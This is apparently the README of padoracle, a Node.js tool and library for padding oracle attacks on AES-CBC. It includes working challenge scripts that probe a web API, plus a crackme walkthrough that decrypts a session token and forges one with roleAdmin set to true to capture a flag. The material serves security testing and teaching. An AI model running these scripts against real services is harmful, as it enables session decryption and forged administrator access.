Home

Awesome

Padoracle

Padding Oracle Attack with Node.js

Build Status npm license PRs Welcome

Features

CLI

Installation

npm i -g padoracle

Usage

Crack-Mode

Crack plaintext with a set of known iv and ciphertext:

padoracle <challenge-script> --size 16 --iv-cipher <iv-cipher>

Modify-Mode

Generate a set of iv and ciphertext with specific plaintext:

padoracle <challenge-script> --size 16 --plain <plain>

Options

Common Options

Crack-Mode Options

Modify-Mode Options

Challenge Script

When using Padoracle, you always need a challenge-script, which is a straightforward ESM script.

The challenge-script has to expose a default member, which is a function that accepts a set of iv and ciphertext, also returns false if decryption fails, otherwise true.

For example, in the most common scenario of attacking web applications, we can write a script like this:

const got = require('got') // You need to install dependencies manually.

const API = `http://somewebsite/someapi` // The API that invokes decryption.

const DECRYPTION_ERROR = 'DECRYPTION FAILED' // The message returns by the webapp when decrypting failed.

const challenge = async (iv, cipher) => {
  let response = await got.post(API, {
    body: Buffer.concat([iv, cipher]).toString('base64'),
  }).catch((error) => error.response)
  if (response.body === DECRYPTION_ERROR) {
    return false
  }
  return true
}

export default challenge

See more complete scripts in the examples.

Examples

Suppose there is a program to be attacked, which we call the Crackme.

The Crackme provides two API —— welcome() to get a default token and auth(token) to verify administrator privileges.

Tokens are values encoded in Base64 after concatenating iv and ciphertext. By decrypting this ciphertext with AES-256-CBC algorithm and this iv, the Crackme will get a JSON serialized session, which also means that the size of each block in the plaintext, iv, and ciphertext is all 16 (256/16) bytes.

When we have administrator privileges, auth(token) API will return a secret data ({FLAG}) to us. Otherwise, that will return nothing.

Also, if there is an exception while decrypting token, the Crackme will throw an error, which is just the characteristic of the Padding Oracle vulnerability.

Our ultimate goal here is to get this secret data ({FLAG}).

For example, with the welcome() API here, we always get the same token value 'UGFkT3JhY2xlOml2L2NiYyiFmLTj7lhu4mAJHakEqcIIoYU0lIUXKx+PmTaUHLV0', which is concatenated by iv (<Buffer 50 61 64 4f 72 61 63 6c 65 3a 69 76 2f 63 62 63>) and cipher (<Buffer 28 85 98 b4 e3 ee 58 6e e2 60 09 1d a9 04 a9 c2 08 a1 85 34 94 85 17 2b 1f 8f 99 36 94 1c b5 74>) after base64 decoded.

According to the protocol, we write a challenge-script accepts a set of iv and ciphertext, which returns false when decrypting failed, otherwise, return true no matter the final session is valid or not.

const crackme = require('./crackme')

const challenge = async (iv, cipher) => {
  try {
    await crackme.api.auth(Buffer.concat([iv, cipher]).toString('base64'))
  } catch (error) {
    return false
  }
  return true
}

export default challenge

Easy, huh?

Then we use our CLI tools to crack the plaintext that this iv-ciphertext encrypted.

padoracle ./examples/0.node/challenge.js --iv-cipher UGFkT3JhY2xlOml2L2NiYyiFmLTj7lhu4mAJHakEqcIIoYU0lIUXKx+PmTaUHLV0 --size 16

In a few minutes later, we will get the result:

----- Block 0 -----
Intermediary (0) : 2b|43|0d|2b|50|5b|52|5c|55|16|4b|04|40|0f|07|22
--------------------
----- Block 1 -----
Intermediary (1) : 4c|e8|f1|da|c1|d4|3e|0f|8e|13|6c|60|ad|00|ad|c6
--------------------
--------------------
Plain text: {"id":100,"roleAdmin":false}
Plain text (hex): 7b226964223a3130302c22726f6c6541646d696e223a66616c73657d04040404

Now we know that the default session is {"id":100,"roleAdmin":false}.

Based on the structure of this session, we can determine that the next goal is to set the value of roleAdmin to true, such as {"roleAdmin":true}.

So, let's do it:

padoracle ./examples/0.node/challenge.js --size 16 --plain "{\"roleAdmin\":true}"

In a few minutes later again, we will get the result:

IV (hex): ff291b394b7c56f3f964d3cf2fad0dbb
Cipher (hex): ecacc85b787f9777864b39fff50d5314ffffffffffffffffffffffffffffffff
IV-Cipher (base64): /ykbOUt8VvP5ZNPPL60Nu+ysyFt4f5d3hks5//UNUxT/////////////////////

Let's verify the results. Create a flag.js:

const crackme = require('./crackme')

const TOKEN = '/ykbOUt8VvP5ZNPPL60Nu+ysyFt4f5d3hks5//UNUxT/////////////////////'

;(async () => {
  let result = await crackme.api.auth(TOKEN)
  console.log(result)
})()

Run it:

node ./examples/0.node/flag.js
# {FLAG}

We did it! :tada:

See more examples.

API

Installation

npm i --save padoracle

Usage

Crack plaintext with a set of known iv and ciphertext:

const Cracker = require('padoracle')
const pkcs7 = require('pkcs7')
const got = require('got')

const API = `http://somewebsite/someapi` // The API that invokes decryption.
const DECRYPTION_ERROR = 'DECRYPTION FAILED' // The message returns by the webapp when decrypting failed.

const challenge = async (iv, cipher) => {
  let response = await got.post(API, {
    body: Buffer.concat([iv, cipher]).toString('base64'),
  }).catch((error) => error.response)
  if (response.body === DECRYPTION_ERROR) {
    return false
  }
  return true
}

const iv = Buffer.from('5061644f7261636c653a69762f636263', 'hex')
const cipher = Buffer.from('288598b4e3ee586ee260091da904a9c208a185349485172b1f8f9936941cb574', 'hex')

let result, plain

let cracker = new Cracker()
result = await cracker.crack(iv, cipher, challenge)
plain = pkcs7.unpad(result.plain).toString()

console.log(plain)

Generate a set of iv and ciphertext with specific plaintext:

const Cracker = require('padoracle')
const got = require('got')

const API = `http://somewebsite/someapi` // The API that invokes decryption.
const DECRYPTION_ERROR = 'DECRYPTION FAILED' // The message returns by the webapp when decrypting failed.

const challenge = async (iv, cipher) => {
  let response = await got.post(API, {
    body: Buffer.concat([iv, cipher]).toString('base64'),
  }).catch((error) => error.response)
  if (response.body === DECRYPTION_ERROR) {
    return false
  }
  return true
}

const target = '{"roleAdmin":true}'
const size = 16

let cracker = new Cracker()
let { iv, cipher } = await cracker.modify(target, size, challenge)
console.log(iv, cipher)

See more examples in tests .

Cracker

References

License

Apache-2.0 © yelo